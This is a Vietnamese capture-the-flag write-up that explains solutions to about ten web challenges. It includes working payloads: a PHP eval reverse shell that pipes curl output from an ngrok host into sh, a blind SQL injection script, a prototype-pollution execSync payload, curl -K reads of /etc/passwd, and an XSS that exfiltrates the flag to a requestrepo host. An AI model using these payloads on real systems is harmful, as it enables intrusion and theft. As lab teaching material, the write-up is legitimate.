# XXD Service
Đây là một bài blackbox viết PHP


Mục tiêu bài này là RCE và lấy flag.
Vì đây là một bài blackbox nên hoàn toàn không có nhiều thông tin nên mình thử như thường lệ upload một file php và xem dấu hiệu.

Tại đây mình nhìn thấy một số filter:
```
<?php, <?=, exe, sys, `
```
Có vẻ như web có check nội dung file mình upload nếu gặp các filter kia thì sẽ không cho upload.
Đây giờ mình có thể upload một file php với code php không dùng tag `<?php` được không? Câu trả lời là `có`.
https://stackoverflow.com/questions/2185320/how-to-enable-php-short-tags
Có thể tại đây short tag được kích hoạt.

Upload thành công. Vậy là mình RCE được rồi ư?
Rồi luôn, không được, chuyện gì xảy ra vậy nhỉ? Để ý vào response nhận được. Nhận thấy đây có thể là nội dung file được upload lên. Có vẻ như nó đã bị qua command [xxd](https://linux.die.net/man/1/xxd) rồi mới lưu file vào server.

Điều này khiến cho PHP script không hợp lệ dẫn đến parse sai. Script PHP lúc này sẽ kiểu:

Systax Error ngay! Nhận thấy nếu bằng cách nào đó mà đoạn `0000000a: 2829 3b `. Giải pháp ở đây là comment. Mình sẽ comment lại.

Vẫn parse lỗi 😭.

Để ý thì thấy những hexdump do xxd tạo ra vẫn chưa bị comment. Hãy để ý nội dung mà file được lưu. Tại đây 5 hexdump đầu mỗi dòng là mình không thể control. Chỉ có byte cuối là mình control được. Mặt khác hãy để ý byte cuối sẽ nhỉ nhận 10 char những char khác sẽ xuống byte cuối dòng tiếp theo. Tuy nhiên mình cũng không thể viết script của mình kiểu như này được:

Như thế này syntax error ngay. Mình cần tìm giải pháp ở đây và đó là https://www.php.net/manual/en/function.eval.php
```
eval(string $code): mixed
```
eval nhận một chuỗi và evaluate nó thành PHP code.
đoạn chuỗi mình sẽ nối các chuỗi với nhau để được thành một đoạn php script mình cần execute. Payload mình sẽ kiểu như sau:
```
<?/*abcdef
*/ eval(/*
*/'php'./*
*/'inf'./*
*/'o();'/*
*/);
```

RCE thôi (ở bài thi thì mình chỉ dùng webshell, ý tưởng build payload tương tự như mình đã trình bày trên, lưu ý khi dùng revershell cần check xem có curl không đã hãng dùng payload ở dưới).
```
<?/*abcdef*/ eval(/**/'pas'./**/'sth'./**/'ru('./**/'\'c'./**/'url'./**/' ht'./**/'tps'./**/'://'./**/'rev'./**/'ers'./**/'e-s'./**/'hel'./**/'l.s'./**/'h/0'./**/'.tc'./**/'p.a'./**/'p.n'./**/'gro'./**/'k.i'./**/'o:1'./**/'844'./**/'8|s'./**/'h './**/'\');');
```

Dump source challenge:
```
$ cat /var/www/html/index.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
$_SESSION['user_id'] = uniqid('user_', true);
}
$userFolder = "uploads/" . $_SESSION['user_id'];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$maxFileSize = 2 * 1024 * 1024;
if ($_FILES["fileUpload"]["size"] > $maxFileSize) {
echo "<script>alert('Kích thước tệp vượt quá giới hạn 2MB.')</script>";
die();
}
if (!is_dir($userFolder)) {
if (!mkdir($userFolder, 0777, true) && !is_dir($userFolder)) {
echo "<script>alert('Không thể tạo thư mục cho người dùng.')</script>";
die();
}
}
$fileName = bin2hex(random_bytes(8)) . "_" . basename($_FILES["fileUpload"]["name"]);
$targetFile = $userFolder . "/" . $fileName;
if (file_exists($targetFile)) {
echo "<script>alert('file exists .')</script>";
die();
}
$maxLength = 255;
if (strlen($targetFile) > $maxLength) {
echo "<script>alert('Tên tệp quá dài.')</script>";
die();
}
$fileTmpPath = $_FILES['fileUpload']['tmp_name'];
$fileContents = file_get_contents($fileTmpPath);
if (preg_match("/<\?php|<\?=|exe|sys|`/", $fileContents)) {
echo "<script>alert('<?php, <?=, exe, sys, ` bị cấm')</script>";
die();
}
$command = "xxd -c 10 " . escapeshellarg($fileTmpPath);
$output = shell_exec($command);
if ($output === null) {
echo "<script>alert('Đã xảy ra lỗi khi xử lý tệp.')</script>";
die();
}
if (file_put_contents($targetFile, $output) === false) {
echo "<script>alert('Đã xảy ra lỗi khi lưu tệp lên server.')</script>";
die();
}
$formattedOutput = "<pre class='xxd-output'>" . htmlspecialchars($output) . "</pre>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XXD Service</title>
<style>
body {
font-family: Arial, sans-serif;
background-image: url('vcl.png');
color: #ffffff;
-webkit-text-stroke: 0.5px black;
margin: 20px;
}
h1 {
text-align: center;
color: #F40A06;
}
.container {
width: 80%;
margin: 0 auto;
}
form {
display: flex;
flex-direction: column;
gap: 10px;
max-width: 300px;
margin: 0 auto;
}
.xxd-output {
background-color: #2e2e2e;
padding: 10px;
border-radius: 5px;
font-family: "Courier New", Courier, monospace;
white-space: pre-wrap;
word-wrap: break-word;
overflow-x: auto;
}
.alert {
color: #FF0000;
font-weight: bold;
text-align: center;
}
.success {
color: #00FF00;
font-weight: bold;
}
.upload-info {
font-size: 1.2em;
color: #f8f8f2;
-webkit-text-stroke: 0.5px black;
margin-top: 10px;
}
.file-upload-section {
margin-top: 20px;
}
.upload-info p {
font-size: 18px;
color: #FF4500;
font-weight: bold;
font-family: Arial, sans-serif;
}
input[type="file"] {
border: 2px solid #F40A06;
padding: 5px;
margin-bottom: 10px;
border-radius: 5px;
background-color: #2e2e2e;
color: #ffffff;
-webkit-text-stroke: 0.5px black;
}
input[type="submit"] {
background-color: #F40A06;
color: white;
border: none;
padding: 10px;
border-radius: 5px;
cursor: pointer;
font-weight: bold;
}
input[type="submit"]:hover {
background-color: #d32f2f;
}
a {
color:rgb(255, 208, 0);
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>XXD Service Online</h1>
<?php if (isset($formattedOutput)): ?>
<div class="upload-info">
<p>Thư mục của bạn: <strong><a href=<?php echo htmlspecialchars($userFolder.'/'.basename($targetFile)); ?>><?php echo htmlspecialchars($userFolder.'/'.basename($targetFile)); ?></a></strong></p>
<p class="success"><?php echo htmlspecialchars(basename($targetFile)); ?> đã được tải lên thành công!</p>
<h3>Kết quả:</h3>
<?php echo $formattedOutput; ?>
</div>
<?php endif; ?>
<div class="file-upload-section">
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="fileUpload">Chọn tệp để tải lên:</label>
<input type="file" name="fileUpload" id="fileUpload">
<input type="submit" value="Upload" name="submit">
</form>
</div>
</div>
</body>
</html>
```
# giftcard
Đây là một bài whitebox viết bằng Flask.


Web cho phép nhập vào form và reflect lại những gì mình nhập. Flag được lưu vào một biến môi trường.
```
FLAG = os.environ.get("FLAG", "KCSC{FAKE_FLAG}")
```
Mình cùng vào xem source để xem logic web hoạt động
```
def render_card():
sender = request.args.get("sender")
receiver = request.args.get("receiver")
card = Card(receiver, sender)
card_content = request.args.get("card_content")
xmas_card = "From: {card.sender}\r\nTo: {card.receiver}\r\n" + card_content
xmas_card = xmas_card.format(card=card)
return render_template("card.html", xmas_card=xmas_card)
```
Tóm tắt qua thì mình được nhập vào form 3 trường sender, receiver, card_content. Chúng tạo thành một chuỗi và được đưa qua hàm format(). Sau đó render template cho mình.
Nhìn qua một lượt thì có vẻ đúng mà nhỉ? Ở đây dùng template thì hướng là SSTI? Tuy nhiên không phải vậy, đoạn code sử dụng render_template() thay vì render_template_string để render trực tiếp từ một chuỗi nên không có SSTI ở đây. Vậy nó đã secure? Chưa đâu. Một điểm rất lạ ở đây là sao nó không render template luôn mà phải qua format()? Liệu đây có phải một sink? It's time to search...
Và kết quả:
https://www.freebuf.com/column/228664.html
https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
```
str.format() method can evaluate expressions within the format string, allowing access to variables and object details. This means a user can manipulate the input to access sensitive data, like the CONFIG dictionary. This creates a security risk because attackers could retrieve information they should not have access to.
...
The use of Python format string is very similar to sandbox escape or Python SSTI, but the difference between format and the latter two is that it can only read attributes but not execute methods, which limits the use of format string and the construction of attack chain.
```
Oh vậy nó giống fstring, vấn đề là mình có thể thông qua nó access tới các biến và các object. Điều này giúp mình có thể access tới các biến môi trường với payload sau:
```
{card.__class__.__init__.__globals__}
```
Giải thích chút về payload:
* `card` là một đối tượng được khởi tạo trong đoạn code.
* `__class__`: trả về lớp của đối tượng
* `__init__`: truy cập tới `__init__` của class
* `__globals__`: truy cập tới một dict các biến global.


# Login System
Đây là một whitebox viết bằng PHP.

Challenge cung cấp cho mình 1 form login. Cùng xem logic web xử lí:

Flag mình có được nếu session user của mình là admin. Điều này nghĩa là mình cần login thành admin. Mình được cung cấp các user:
```
$users = [
'nightcore' => 'nightcore',
'tadokun468' => 'tadokun468',
'admin' => $flag
];
```
Xử lí login. Mình nhập username - passwd và check điều kiện.

Nhận thấy để login thành công thì mình cần vào condition sau:
```
elseif ($users[$username] == $password) {
$_SESSION['user'] = $username;
echo json_encode(['success' => true, 'redirect' => '?dashboard']);
exit;
```
Nhận thấy ở đây có xuất hiện Type Juggling do sử dụng `==`. Vì vậy mình sẽ login như sau:
```
{"username":"admin","password":true}
```

# written_by_chatgpt
Đây là một whitebox viết bằng Nodejs.

Web cung cấp cho mình một form với 3 chức năng register, login, reset password. Tuy nhiên chức năng đăng kí chỉ cho mình chọn được username, password lại bị random.

Mặt khác nếu mình login thành công thì mình sẽ lấy được flag.

Giờ sao login thành công mới là vấn đề vì mình có biết password đâu 😂. Tuy nhiên ở dưới mình lại có chức năng reset password.

Tại đây mình được phép gửi một yêu cầu reset password và có được một resetlink. Để ý thấy phần resetoken giống hệt token lúc mình tạo user mới mà mình nhận được. Mình sẽ vào đường link reset password được tạo ra.

Và sau đó là nhập password mình muốn reset. Lưu ý password ở dạng uuid giống với regex
```
const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
```
Mình copy token của mình vào jwt.io và lấy luôn id của người dùng làm password cho tiện vì nó được viết dưới dạng uuidRegex mà.

=> Tổng quan ý tưởng: Mình đăng kí user, lấy token, ném vào phần token đường link reset password, reset passwd với dạng uuid và login rồi lấy flag.




# break
Đây tiếp tục là một challenge whitebox viết bằng Flask.
Về cơ bản trang web cho phép mình đăng kí tài khoản, login và truy cập vào home, nếu session không phải admin thì sẽ không cho phép truy cập home và nhận thông báo forbidden. Nếu truy cập admin thành công sẽ được điền vào form để hoàn thành một url và curl đến đường dẫn đó.

Đây là một sự xuất hiện của lỗ hổng SSRF.
Tuy nhiên điều mình cần là trở thành admin.

Ở đây cho phép mình nhập thông tin username-password mình muốn đăng kí tuy nhiên mình không thể tạo một account admin theo cách thông thường được vì
```
m = re.search(r".*", username)
if m.group().strip().find("admin") == 0:
return jsonify({"message": "Invalid username"}), 200
...
user.username = username.strip()
```
Mình không thể đăng kí trực tiếp username với chuỗi `admin` vì sẽ bị check qua find("admin") sau khi strip() - lọc bỏ khoảng trắng. Thứ cần để ý ở đây là regex pattern:
```
.*
```
Regex này sẽ khớp với bất kì chuỗi nào độ dài từ 0 trở lên và không được chứa kí tự xuống dòng. Vậy sẽ ra sao nếu mình thêm kí tự xuống dòng? Khi đó `m.group()` sẽ trả về chuỗi rỗng thì sẽ không `find("admin")` được vì chuỗi nhập vào không khớp với regex đã cho. Bạn có thể chạy thử và kiểm chứng:
```
import re
text = '\nadmin'
m = re.search(r".*", text)
print(m)
print(m.group())
if m.group().strip().find("admin") == 0:
print("Invalid username")
else:
print(text.strip())
```

Với ý tưởng này mình có thể bypass admin.


Đây giờ mình vào được `/home` và như ở trên mình có nói là có xuất hiện ssrf ở đây
```
protocol = data.get("protocol").strip()
host = data.get("host").strip()
url = f"{protocol}://{host}"
response = subprocess.check_output(['curl', url])
return jsonify({"message": response.decode('utf-8')}), 200
```
Mục tiêu mình cần là đọc file flag ở /flag.txt nên mình sẽ dùng schema `file://`.

# curl_manual
Đây là một challenge whitebox viết bằng Flask.


Mở đầu là chức năng đăng kí - đăng nhập. Hãy xem nó xử lí như nào.


Ở đây có sử dụng kĩ thuật ORM thay vì dùng query như thông thường và mình cũng không thấy được sự xuất hiện của lỗ hổng nào ở đây như ORM leak,...
Thực hiện đăng kí - đăng nhập và vào chức năng tiếp theo.
Tiếp theo mình có chức năng tải ảnh làm avatar

được xử lí như sau:

Dường như không có hạn chế nào ở đây ngoài ngoài việc mình cần login để sử dụng cũng như không thể upload trống hay không filename. Mình hoàn toàn có thể upload file bất kì. Thế nhưng đây là Flask không phải PHP thuần thì sao mà `Upload File to RCE` được. Và mình chưa tìm ra vector tấn công ở đây.

Chức năng cuối cùng là run-curl được xử lí như sau:

Mình được phép nhập argument từ form (mình được đây là thứ mình được control). Ở đây, mình thấy được một lỗ hổng SSRF tuy nhiên argument mình nhập từ form không được phép chứa các kí tự khác ngoài các kí tự từ `A-Za-z0-9` và `-` cùng với `/` và ` ` nếu không thì sẽ gọi đến `curl --help`. Đây cũng có thể coi là một filter nhằm hạn chế SSRF tránh truy cập trực tiếp tới `/app/flag.txt`.
Để ý ở đây:
```
output = subprocess.check_output(["/usr/bin/curl", *(argument.split(" "))], text=True, stderr=subprocess.STDOUT)
```
có sử dụng `argument.split(" ")` . Điều này giúp mình truyền nhiều đối số cho lệnh curl bằng cách mỗi đối số cách nhau bằng một space ` `. Mình không thể SSRF theo cách thông thường vì regex search nên truyền `file://` là không thể. Để ý thật kĩ `argument.split(" ")` nếu mình truyền vào đây `--option <argument>` thì chả phải vẫn hợp lệ regex miễn sao không ngoài các chữ cái và `/`, `-`, ` `. Hơn nữa curl đâu chỉ nhận mỗi đối số phải là một url 😂, đó là default thôi. Vậy nghĩa là mình đây giờ cần tìm các option cho phép nhận vào đó là một file làm đối số. Dùng lệnh:
```
curl --help all
```
để hiển thị ra tất cả các option. Giờ thì làm gì ư? Đọc doc, chatgpt, thử thôi (nói chung là rất lâu). Và mình tìm ra được một option sau:

[Option -K](https://everything.curl.dev/cmdline/configfile.html) cho phép sẽ đọc config từ một file bất kì. Thử với /etc/passwd thì nhận được kết quả:

Nó đẩy lỗi nhưng đồng thời đẩy data của /etc/passwd (chứa từ đầu mỗi dòng).

Thử trên remote thì nó cũng vậy. Tuy nhiên, mình không thể `curl -K /app/flag.txt` được vì vi phạm regex. Lúc này mình chợt hiểu lí do có chức năng file upload ở đây.
Filename của file mình upload lên trên được lưu vào server với tên được tạo bằng cách `filename = f"{os.urandom(32).hex()}"` hoàn toàn không chứa kí tự vi phạm regex. Từ đó mình sẽ upload một file có nội dung:
`-K /etc/passwd` và dùng option -K để đọc.

Lúc này nó sẽ cho kết quả tương tự như bạn `curl -K /etc/passwd`.
Tương tự mình upload một file có nội dung `-K /app/flag.txt` để đọc flag. Nó tương tự như việc bạn thực hiện `curl -K /app/flag.txt` tuy nhiên lại không vi phạm regex.


# Check Member
Đây là challenge whitebox viết bằng PHP cho phép mình search.

Cùng xem cách xử lí chức năng:
```
<?php
if(isset($_GET['name'])){
$name = $_GET['name'];
if(substr_count($name,'(') > 1){
die('Dont :(');
}
$mysqli = new mysqli("mysql-db", "kcsc", "REDACTED", "ctf", 3306);
$result = $mysqli->query("SELECT 1 FROM members WHERE name = '$name'")->fetch_assoc();
if($result){
echo 'Found :)';
} else {
echo "Not found :(";
}
$mysqli->close();
die();
}
?>
```
Tại đây có sự xuất hiện của lỗ hổng SQL injection do việc nối chuỗi hay vì prepared statement. Nhận thấy mình chỉ cần control query sao cho trả về Found là được. Ý tưởng là thực hiện thực hiện cuộc tấn công SQL injection theo hướng char by char. Lưu ý payload không chứa nhiều hơn 1 kí tự `(`
```
import requests
url = "http://36.50.177.41:40009/"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_()!@#$%^&*()"
flag = ""
for i in range(1, 100):
for char in charset:
payload = f"a' UNION SELECT 1 FROM secrets WHERE SUBSTRING(flag, {i}, 1) = '{char}'-- -"
params = {"name": payload}
response = requests.get(url, params=params)
if "Found :)" in response.text:
flag += char
break
else:
break
print(f"flag: {flag}")
```

# yugioh_shop
Đây là một challenge whitebox viết bằng Flask. Mở đầu bằng chức năng đăng kí đăng nhập quen thuộc.

Cùng xem cách nó được xử lí:
```
def index():
if "user_id" not in session:
return redirect("/login")
user = query_db("SELECT * FROM users WHERE id = ?", [session["user_id"]], one=True)
items = query_db("SELECT * FROM items")
owned_items = query_db("""
SELECT items.id, items.name, items.price, items.img_src
FROM items
JOIN transactions ON items.id = transactions.item_id
WHERE transactions.user_id = ?
""", [user[0]])
return render_template("index.html", user=user, items=items, owned_items=owned_items)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = generate_password_hash(request.form["password"])
try:
query_db("INSERT INTO users (username, password) VALUES (?, ?)", [username, password])
flash("Registration successful! Please log in.", "success")
return redirect("/login")
except sqlite3.IntegrityError:
flash("Username already exists.", "danger")
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
user = query_db("SELECT * FROM users WHERE username = ?", [username], one=True)
if user and check_password_hash(user[2], password):
session["user_id"] = user[0]
flash("Logged in successfully!", "success")
return redirect("/")
flash("Invalid username or password.", "danger")
return render_template("login.html")
```
Về cơ bản, mình không thấy lỗ hổng xuất hiện ở đây. Tiếp tới là chức năng mua magic card.

Số tiền ban đầu được cho với mỗi user default là 200 (trong source code build local là 100)

Mỗi magic card cũng có giá 100.
Chức năng mua được xử lí như sau:

Nếu mình có đủ 5 mảnh exodia khác nhau (DISTINCT) thì mình có thể triệu hồi exodia và lấy được flag (nghe như anime vậy 😂, đáng ra triệu hồi exodia là thắng luôn rồi chứ 😒):
```
@app.route("/exodia", methods=["GET", "POST"])
def exodia():
if "user_id" not in session:
return redirect("/login")
items = query_db("""
SELECT DISTINCT items.id, items.name, items.img_src
FROM transactions
JOIN items ON transactions.item_id = items.id
WHERE transactions.user_id = ?
ORDER BY items.id ASC
""", [session["user_id"]])
if request.method == "POST":
exodia_pieces = query_db("""
SELECT COUNT(DISTINCT item_id)
FROM transactions
WHERE user_id = ?
""", [session["user_id"]], one=True)[0]
if exodia_pieces == 5:
return {"status": "success", "message": FLAG}
else:
return {"status": "error", "message": "You need all 5 Exodia pieces!"}
return render_template("exodia.html", items=items)
```
Ngoài ra mình có chức năng bán nữa: Khi bán thẻ mình đang có thì sẽ đoạn hoàn lại tiền:
```
@app.route("/sell/<int:item_id>")
def sell(item_id):
if "user_id" not in session:
return redirect("/login")
user = query_db("SELECT * FROM users WHERE id = ?", [session["user_id"]], one=True)
transaction = query_db("SELECT * FROM transactions WHERE user_id = ? AND item_id = ?", [user[0], item_id], one=True)
if transaction:
item = query_db("SELECT * FROM items WHERE id = ?", [item_id], one=True)
query_db("DELETE FROM transactions WHERE id = ?", [transaction[0]])
query_db("UPDATE users SET balance = balance + ? WHERE id = ?", [item[2], user[0]])
flash(f"You sold {item[1]}!", "success")
else:
flash("You don't own this item.", "danger")
return redirect("/")
```
Tóm tắt một lượt về các chức năng thì mình có thể register - login, sau đó mua - bán thẻ bài, nếu đủ 5 tấm thẻ khác nhau thì mình có được flag.
Tuy nhiên mình chỉ có 200 tiền làm sao mình có thể mua được 5 lá bài khác nhau với tổng giá 500.
Kịch bản bài này mình cảm thấy khá quen thuộc. Nó khá giống với challenge [này](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun) trên Port Swigger. Mình thực hiện nhóm các request mua 5 thẻ bài vào một group và chọn `Send group (parallel)`. Vì Race Condition phụ thuộc rất nhiều yếu tố (ví dụ như jitter,...) nên có thể bạn sẽ phải mua - bán lặp đi lặp lại nhiều lần (mình nhớ không nhầm mình exploit trên localhost thì ăn luôn nhưng trên remote mình mãi mới được đến mức mình phải hỏi author).


Đủ 5 mảnh thì triệu hồi Exodia và lấy flag thôi.

# s1mple
Đây là một challenge whitebox viết bằng Nodejs.

Mình được cung cấp một object là USERS chứa hai object khác là admin và endy với các thuộc tính là password và role. Với admin role sẽ là admin còn endy sẽ có role là guest. Tuy nhiên password của admin lại không đoán được do random.

Mình có endpoint /login cho phép mình gửi các data trên req.body gồm username, password. Ở đây, mình phải cố gắng vượt qua 2 điều kiện để có thể có được token. Từ đó truy cập vào /admin. Điều kiện đầu tiên data ở req.body mình cần có chứa username và username không được `===` chuỗi "admin" và mình phải tồn tại object user.
Điều kiện thứ hai mình cần vượt qua là password mình gửi tới phải `===` `user['password']`.
Ở đây, sau khi author cho ra solution thì mình đã hiểu được ý tưởng của bài này.
```
POST /login HTTP/1.1
Host: localhost:3333
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Content-Type: application/json
Content-Length: 111
{"username":["__proto__"],
"process.mainModule.require('child_process').execSync('cat /flag.txt')":"123123"
}
```
Truyền vào username là `["__proto__"]` để truy cập tới object USER đồng thời lúc này username nhận một mảng nên sẽ thoát được điều kiện thứ nhất. Điều kiện thứ hai cũng có thể vượt qua do lúc này `user["password"]` sẽ là undefined lúc này mình sẽ không truyền password vào nữa thì password cũng sẽ là undefine. Từ đó vượt qua điều kiện thứ hai. Từ đó, mình có được token. Từ đó mình vào được endpoint /admin. Đến đây thì SSTI to RCE thôi.

# Secure Recruitment Page
Đây lại là một challenge viết bằng Flask. Source code Flask bài này rất dễ hiểu.
```
with open('/app/flag.txt', 'r') as file:
FLAG = file.read().strip()
@app.route('/')
def index():
return render_template('index.html')
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "POST":
url = request.form.get("profile_link")
if not url:
return render_template("submit.html", msg="fail")
if check_url(url):
return render_template("submit.html", msg="success")
else:
return render_template("submit.html", msg="fail")
else:
return render_template("submit.html")
@app.route('/flag', methods=["GET"])
def flag():
if request.remote_addr == '127.0.0.1':
return FLAG
return "try ..."
def check_url(url):
try:
service = Service(ChromeDriverManager().install())
options = webdriver.ChromeOptions()
options.add_argument("--headless=new")
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-gpu')
options.add_argument('--disable-features=BlockInsecurePrivateNetworkRequests')
options.add_argument('--incognito')
driver = webdriver.Chrome(service=service, options=options)
driver.set_page_load_timeout(3)
driver.get(url)
sleep(1)
return True
except Exception as e:
return False
finally:
driver.quit()
```
Hiểu đơn giản nếu vào được endpoint /flag thì có thể lấy được flag. Mình có một endpoint submit cho mình submit một form với mục đích là điền vào form đó một URL. Từ đó sẽ đi qua check_url nếu trả về true thì mình sẽ nhận được thông báo success nếu không thì sẽ nhận được thông báo fail. Ban đầu mình đọc qua mình đã nghĩ đến SSRF nhưng đây có vẻ như chưa phải hướng đúng của challenge này.
Có vẻ mình đã miss đi điều gì đó.
Mình check trong thư mục lib thì nó có chứa 2 file javascript.

Hãy tập trung vào code.js:
```
const EVENTS_BLACKLIST = [
"onafterprint", "onafterscriptexecute", "onanimationcancel", "onanimationend", "onanimationiteration",
"onanimationstart", "onauxclick", "onbeforecopy", "onbeforecut", "onbeforeinput", "onbeforeprint",
"onbeforescriptexecute", "onbeforetoggle", "onbeforeunload", "onbegin", "onblur", "oncancel", "oncanplay",
"oncanplaythrough", "onchange", "onclick", "onclose", "oncontentvisibilityautostatechange",
"oncontentvisibilityautostatechange", "oncontextmenu", "oncopy", "oncuechange", "oncut",
"ondblclick", "ondrag", "ondragend", "ondragenter", "ondragexit", "ondragleave", "ondragover", "ondragstart",
"ondrop", "ondurationchange", "onend", "onended", "onerror", "onfocus", "onfocus", "onfocusin",
"onfocusout", "onformdata", "onfullscreenchange", "onhashchange", "oninput", "oninvalid", "onkeydown",
"onkeypress", "onkeyup", "onload", "onloadeddata", "onloadedmetadata", "onloadstart", "onmessage",
"onmousedown", "onmouseenter", "onmouseleave", "onmousemove", "onmouseout", "onmouseover", "onmouseup",
"onmousewheel", "onmozfullscreenchange", "onpagehide", "onpageshow", "onpaste", "onpause", "onplay",
"onplaying", "onpointercancel", "onpointerdown", "onpointerenter", "onpointerleave", "onpointermove",
"onpointerout", "onpointerover", "onpointerrawupdate", "onpointerup", "onpopstate", "onprogress",
"onratechange", "onrepeat", "onreset", "onresize", "onscroll", "onscrollend", "onscrollsnapchange",
"onsearch", "onseeked", "onseeking", "onselect", "onselectionchange", "onselectstart", "onshow", "onsubmit",
"onsuspend", "ontimeupdate", "ontoggle", "ontoggle", "ontouchend", "ontouchmove", "ontouchstart",
"ontransitioncancel", "ontransitionend", "ontransitionrun", "ontransitionstart", "onunhandledrejection",
"onunload", "onvolumechange", "onwaiting", "onwaiting", "onwebkitanimationend",
"onwebkitanimationiteration", "onwebkitanimationstart", "onwebkitfullscreenchange", "onwebkitmouseforcechanged",
"onwebkitmouseforcedown", "onwebkitmouseforceup", "onwebkitmouseforcewillbegin", "onwebkitplaybacktargetavailabilitychanged",
"onwebkitpresentationmodechanged", "onwebkittransitionend", "onwebkitwillrevealbottom", "onwheel"
];
const TAGS_BLACKLIST = [
"applet", "blink", "embed", "frame", "frameset", "iframe", "iframe2",
"link", "meta", "object", "script", "style", "title"
];
const SPECIAL_BLACKLIST = [
"(", ")", "alert", "prompt", "eval", "setTimeout", "setInterval", "document","javascript","window", " "
];
function escapeRegExp(str) {
return str.replace(/[.*+?^=!:${}()|\[\]\/\\]/g, "\\$&");
}
function sanitizeInput(userInput) {
userInput = userInput.replace(/[^\x00-\x7F]/g, '');
EVENTS_BLACKLIST.forEach(event => {
const escapedEvent = escapeRegExp(event);
const regex = new RegExp(escapedEvent, 'gi');
userInput = userInput.replace(regex, '');
});
TAGS_BLACKLIST.forEach(tag => {
const escapedTag = escapeRegExp(tag);
const regex = new RegExp(escapedTag, 'gi');
userInput = userInput.replace(regex, '');
});
SPECIAL_BLACKLIST.forEach(specialChar => {
const escapedSpecialChar = escapeRegExp(specialChar);
const regex = new RegExp(escapedSpecialChar, 'g');
userInput = userInput.replace(regex, '');
});
return userInput;
}
const params = new URLSearchParams(window.location.search);
const canonical = params.get("canonical");
if (canonical && canonical.startsWith('http')) {
document.write('<link rel="canonical" href="' + sanitizeInput(canonical) + '" />');
}
```
Ở đây có sự xuất hiện của document.write() - một sink nguy hiểm trong tấn công XSS, hơn nữa có tham số `canonical` là một source => Source rơi vào sink => Vulnerability.
Tuy nhiên mình đã bị filter hết các events cũng như một số tag thường dùng để XSS của mình đã bị filter sạch. Một số hàm và special char cũng bị filter hết. Mình phải làm sao?
Hướng làm của bài này sẽ là sử dụng tag `<base>` để control được đường dẫn file js khi page load sẽ gọi tới. Khi mình control được thì mình sẽ để page gọi đến exploit server mà mình đã tạo script sẵn ở đó và fetch nội dung endpoint /flag về.
Để thực hiện ý đồ trên, mình tạo script nhỏ trên request repo (bạn có thể dùng webhook hay https://github.com/greenhats-crew/Exploit-Server - mình tìm được trên một channel discord). Sau đó, submit một url để web page gọi đến script mà mình đã tạo. Script trên req repo:
```
fetch('http://127.0.0.1/flag',)
.then(r => r.text())
.then(flag => location = 'https://4qcf6r9z.requestrepo.com/?flag=' + flag);
```
Nhập url sau vào bot:
```
http://127.0.0.1/?canonical=http"><base/href="https://4qcf6r9z.requestrepo.com">
```

# final mission
Hướng của challenge này là SQL injection bằng việc dùng trick https://www.youtube.com/watch?app=desktop&v=_ay4RyGzduw&t=248s=> Dump data (flag 1 và account admin), Deserialize qua cookie (Type Juggling qua đoạn switch - case, SSRF) => Dùng 127.0.0.2 để gọi thay vì 127.0.0.1 để bypass 127.0.0.1.